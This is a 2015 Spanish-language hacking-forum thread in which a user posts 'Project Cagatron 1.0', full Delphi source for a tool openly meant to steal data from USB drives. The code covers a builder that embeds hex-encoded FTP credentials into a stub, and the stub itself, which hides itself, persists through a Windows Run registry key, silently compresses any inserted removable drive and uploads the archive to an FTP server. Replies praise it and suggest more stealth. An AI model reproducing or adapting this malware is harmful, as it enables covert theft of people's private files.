This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

[Delphi] Project Cagatron 1.0

  • 5 Replies
  • 3631 Views

0 Members and 1 Guest are viewing this topic.

Offline BigBear

  • *
  • Underc0der
  • Posts: 541
  • Actividad:
    0%
  • Reputación 3
    • View Profile

[Delphi] Project Cagatron 1.0

  • on: March 06, 2015, 12:59:44 pm
Un simple programa en Delphi para robar los datos de un USB con las siguientes opciones :

  • Detecta cualquier USB conectado a la computadora
  • Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
  • Permite la opcion de enviar los datos por FTP o dejarlos en la computadora


Una imagen :



Los codigos :

El generador.

Code: (delphi) You are not allowed to view links. Register or Login
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

unit caga;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
  ShellApi,
  Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    StatusBar1: TStatusBar;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    usb_found: TListView;
    TabSheet5: TTabSheet;
    TabSheet6: TTabSheet;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    ftp_host: TEdit;
    Label2: TLabel;
    ftp_user: TEdit;
    Label3: TLabel;
    ftp_pass: TEdit;
    Label4: TLabel;
    ftp_path: TEdit;
    GroupBox2: TGroupBox;
    enter_usb: TEdit;
    Button1: TButton;
    Button2: TButton;
    GroupBox3: TGroupBox;
    upload_ftp_server: TRadioButton;
    TabSheet7: TTabSheet;
    GroupBox4: TGroupBox;
    console: TMemo;
    TabSheet8: TTabSheet;
    only_logs: TRadioButton;
    logs: TListView;
    rutas: TListBox;
    menu: TPopupMenu;
    L1: TMenuItem;
    IdFTP1: TIdFTP;
    buscar_usb: TTimer;
    otromenu: TPopupMenu;
    S1: TMenuItem;
    opcion_text: TEdit;
    PageControl3: TPageControl;
    TabSheet9: TTabSheet;
    TabSheet10: TTabSheet;
    GroupBox5: TGroupBox;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    ftp_host2: TEdit;
    ftp_user2: TEdit;
    ftp_pass2: TEdit;
    ftp_path2: TEdit;
    GroupBox7: TGroupBox;
    directorios: TComboBox;
    GroupBox6: TGroupBox;
    foldername: TEdit;
    Button3: TButton;
    GroupBox8: TGroupBox;
    Image1: TImage;
    Label9: TLabel;
    Image2: TImage;
    GroupBox9: TGroupBox;
    hide_file: TCheckBox;
    upload_ftp: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure list_files;
    procedure L1Click(Sender: TObject);
    procedure buscar_usbTimer(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
end;

function file_size(target: String): integer;
var
  busqueda: TSearchRec;
begin
  Result := 0;
  try
    begin
      if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
        busqueda) = 0 then
      begin
        repeat
          Inc(Result);
        until FindNext(busqueda) <> 0;
        System.SysUtils.FindClose(busqueda);
      end;
    end;
  except
    Result := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if not DirectoryExists('logs') then
  begin
    CreateDir('logs');
  end;
  Chdir('logs');
  list_files;
end;

procedure TForm1.L1Click(Sender: TObject);
begin
  ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
    SW_SHOWNORMAL);
end;

procedure TForm1.list_files;
var
  search: TSearchRec;
  ext: string;
  fecha1: integer;
begin

  logs.Items.Clear();
  rutas.Items.Clear();

  FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
    faAnyFile, search);
  while FindNext(search) = 0 do
  begin
    ext := ExtractFileExt(search.Name);
    if (ext = '.zip') then
    begin
      with logs.Items.Add do
      begin
        fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        Caption := search.Name;
        SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
      end;
    end;
  end;
  FindClose(search);
end;

procedure TForm1.S1Click(Sender: TObject);
begin
  opcion_text.Text := usb_found.Selected.Caption;
  enter_usb.Text := usb_found.Selected.SubItems[1];
end;

procedure TForm1.buscar_usbTimer(Sender: TObject);
var
  unidad: Char;
begin
  usb_found.Items.Clear();
  for unidad := 'C' to 'Z' do
  begin
    if (check_drive(PChar(unidad + ':\')) = True) and
      (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
    begin
      with usb_found.Items.Add do
      begin
        Caption := usb_name(unidad);
        SubItems.Add(IntToStr(file_size(unidad + ':\')));
        SubItems.Add(unidad + ':\');
      end;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TFileOpenDialog.Create(nil) do
    try
      Options := [fdoPickFolders];
      if Execute then
        enter_usb.Text := Filename;
    finally
      Free;
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
  code: string;
  dirnow: string;
  guardar: string;

begin

  dirnow := enter_usb.Text;

  if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
  then
  begin
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
      PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  end;

  if not(opcion_text.Text = '') then
  begin
    guardar := opcion_text.Text + '.zip';
  end
  else
  begin
    guardar := ExtractFileName(dirnow) + '.zip';
  end;

  StatusBar1.Panels[0].Text := '[+] Saving ...';
  Form1.StatusBar1.Update;

  console.Lines.Add('[+] Saving ..');

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
          // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
          // Form1.StatusBar1.Update;
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        console.Lines.Add('[+] Saving File : ' + busqueda.Name);
        // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
        // Form1.StatusBar1.Update;
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (upload_ftp_server.checked) then
  begin
    IdFTP1.Host := ftp_host.Text;
    IdFTP1.Username := ftp_user.Text;
    IdFTP1.Password := ftp_pass.Text;
    try
      IdFTP1.Connect;
    except
      StatusBar1.Panels[0].Text := '[-] Error Uploading';
      Form1.StatusBar1.Update;
    end;

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    IdFTP1.ChangeDir(ftp_path.Text);
    IdFTP1.Put(guardar, guardar, False);
  end;

  list_files;

  console.Lines.Add('[+] Ready');

  StatusBar1.Panels[0].Text := '[+] Ready';
  Form1.StatusBar1.Update;

  opcion_text.Text := '';

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  lineafinal: string;
  hidefile: string;
  uploadftp: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;

begin

  if (hide_file.checked) then
  begin
    hidefile := '1';
  end
  else
  begin
    hidefile := '0';
  end;

  if (upload_ftp.checked) then
  begin
    uploadftp := '1';
  end
  else
  begin
    uploadftp := '0';
  end;

  lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
    directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
    '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
    + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
    ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
    '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'cagatron_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
    '/' + stubgenerado), True);

  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
    PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
    '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  StatusBar1.Panels[0].Text := '[+] Done';
  Form1.StatusBar1.Update;

end;

end.

// The End ?

El Stub.

Code: (delphi) You are not allowed to view links. Register or Login
// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

program cagatron_server;

{$APPTYPE GUI}
{$R *.res}

uses
  SysUtils, WinInet, Windows, sevenzip;

var
  directorio, directorio_final, carpeta, nombrereal, yalisto: string;
  hide_op: string;
  registro: HKEY;
  ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
  online: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure comprimir(dirnow, guardar: string);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
begin

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (hide_op = '1') then
  begin
    SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
end;

function check_file_ftp(host, username, password, archivo: pchar): integer;
var
  controluno: HINTERNET;
  controldos: HINTERNET;
  abriendo: HINTERNET;
  valor: integer;

begin

  controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
    username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

  abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
    FTP_TRANSFER_TYPE_BINARY, 0);
  valor := ftpGetFileSize(abriendo, nil);

  InternetCloseHandle(controldos);
  InternetCloseHandle(controluno);

  Result := valor;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;
end;

procedure buscar_usb;
var
  unidad: Char;
  usb_target, usb_nombre: string;
begin
  while (1 = 1) do
  begin
    Sleep(5000);
    for unidad := 'C' to 'Z' do
    begin
      if (check_drive(pchar(unidad + ':\')) = True) and
        (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
      begin
        usb_target := unidad + ':\';
        usb_nombre := usb_name(unidad) + '.zip';
        if not(FileExists(usb_nombre)) then
        begin
          // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
          comprimir(usb_target, usb_nombre);
          // Writeln('[+] Saved');
          if (ftp_op = '1') then
          begin
            // Writeln('[+] Checking file in FTP ...');
            if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
              pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
            then
            begin
              // Writeln('[+] Uploading ...');
              upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
                pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
              // Writeln('[+] Done');
            end
            else
            begin
              // Writeln('[+] File exists');
            end;
          end;
        end;
      end;
    end;
  end;
end;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
    carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
    directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
    hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

    ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
    ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
    ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
    ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
    ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

    online := pchar(regex(todo, '[online]', '[online]'));

    if (online = '1') then
    begin
      nombrereal := ExtractFileName(paramstr(0));
      yalisto := directorio_final + '/' + nombrereal;

      if not(DirectoryExists(directorio_final)) then
      begin
        CreateDir(directorio_final);
      end;

      // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
      MoveFile(pchar(paramstr(0)), pchar(yalisto));
      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      end;
      if (FileExists('7z.dll')) then
      begin
        // CopyFile(pchar('7z.dll'),
        // pchar(directorio_final + '/' + '7z.dll'), False);
        MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
        if (hide_op = '1') then
        begin
          SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
            FILE_ATTRIBUTE_HIDDEN);
        end;
      end;

      ChDir(directorio_final);

      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
      end;

      try
        begin
          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
          RegCloseKey(registro);
        end;
      except
        //
      end;

      // Writeln('[+] Searching USB ...');

      BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

      while (1 = 1) do
        Sleep(5000);
    end
    else
    begin
      // Writeln('[+] Offline');
    end;

  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;

end.

// The End ?

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.
You are not allowed to view links. Register or Login.

Eso seria todo.

Offline 79137913

  • *
  • Co Admin
  • Posts: 714
  • Actividad:
    0%
  • Country: 00
  • Reputación 7913
  • 4 Esquinas
    • View Profile
    • Doors.Party
    • Email

Re:[Delphi] Project Cagatron 1.0

  • on: March 06, 2015, 03:18:28 pm
HOLA!!!

Descargando espectacular, no hay nada como esto gratis, sos un genio!

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   You are not allowed to view links. Register or Login

Offline BigBear

  • *
  • Underc0der
  • Posts: 541
  • Actividad:
    0%
  • Reputación 3
    • View Profile

Re:[Delphi] Project Cagatron 1.0

  • on: March 06, 2015, 03:25:31 pm
ok  , gracias , todavia le faltan muchas cosas que corregir y agregar , si lo probas decime las sugerencias para la nueva version que voy hacer.

Offline 79137913

  • *
  • Co Admin
  • Posts: 714
  • Actividad:
    0%
  • Country: 00
  • Reputación 7913
  • 4 Esquinas
    • View Profile
    • Doors.Party
    • Email

Re:[Delphi] Project Cagatron 1.0

  • on: March 06, 2015, 03:45:41 pm
HOLA!!!

Ya lo probe, me parece que:
la opcion de la compresion debe ser opcional,
se debe estipular un maximo de copia de archivos para que no se llene el rigido,
el programa debe detectar si ha comenzado una copia de un pendrive que se inserta anteriormente para no copiar 2 veces los mismos archivos,
el programa debe tener la opcion de iniciar con windows y permanecer oculto y
el programa debe ser un poco mas user friendly (esta hecho para personas con conocimientos en informatica), o una opcion con un wizard.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   You are not allowed to view links. Register or Login

Offline BigBear

  • *
  • Underc0der
  • Posts: 541
  • Actividad:
    0%
  • Reputación 3
    • View Profile

Re:[Delphi] Project Cagatron 1.0

  • on: March 06, 2015, 04:08:23 pm
ok  , gracias por las sugerencias , es raro pense que le habia agregado lo que de se cargue cada vez que inicia Windows , ya tengo lo que necesito para la siguiente version.
« Last Edit: March 06, 2015, 05:51:55 pm by Doddy »

Offline 79137913

  • *
  • Co Admin
  • Posts: 714
  • Actividad:
    0%
  • Country: 00
  • Reputación 7913
  • 4 Esquinas
    • View Profile
    • Doors.Party
    • Email

Re:[Delphi] Project Cagatron 1.0

  • on: March 06, 2015, 11:42:06 pm
HOLA!!!

Si, lo tiene, pero el stub solamente, si yo quiero usar el programa sin generar un stub no se puede.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   You are not allowed to view links. Register or Login